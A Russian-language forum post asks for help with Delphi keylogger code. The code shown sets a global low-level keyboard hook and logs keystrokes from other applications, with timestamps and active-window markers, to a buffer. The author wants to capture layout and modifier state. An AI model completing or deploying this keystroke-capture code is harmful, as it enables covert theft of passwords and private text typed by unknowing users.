Добрый день. Долго пытаюсь довести до ума логгер, но похоже нужна ваша помошь снова...
Итак, ставлю хук на клавиатуру:
hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
Функция LowLevelKeyboardProc:
function LowLevelKeyboardProc(nCode: Integer;
WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
type
PKbdDllHookStrukt = ^TKbdDllHookStrukt;
_KBDLLHOOKSTRUCT = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
const
RPT_WPARAM_DATA = '%s';
RPT_LPARAM_DATA = '%d';
var
StrResult: string;
Key: array[0..1] of Char;
KeyboardState: tKeyboardState;
ScanCode: integer;
VKey: integer;
begin
StrResult:='';
if nCode=HC_ACTION then
Result:=CallNextHookEx(hHook, nCode, WParam, LParam);
case WParam of
WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
end;
StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
if (Wparam=WM_KEYUP) or (Wparam=WM_SYSKEYUP) then
strresult:='';
if strresult<>'' then
begin
GetKeyboardState(KeyboardState);
VKey:=strtoint(strresult);
ScanCode:=PKbdDllHookStrukt(LParam)^.scanCode;
GetActiveWindow;
if ToAscii(VKey,ScanCode,KeyboardState,Key,0)>0 then
begin
if LastActWnd<>ActWnd then
begin
BufferWrite(NewLine);
WriteTime;
BufferWrite(ActWnd);
LastActWnd:=ActWnd;
end;
BufferWrite(@Key[0]);
end;
end;
end;
Так вот: немогу вытащить из активного приложения ни нажатые сист. клавиши, ни раскладку, и как дальше их использовать? Т.е. в своем же приложении вроде все нормально, а вот при наборе в чужем, в файле получаю только прописные и только латинские символы. Предполагаю, что нужно в функцию ToAscii передавать параметра KeyBoardState активного приложения.. Так ли? Или как-то по другому?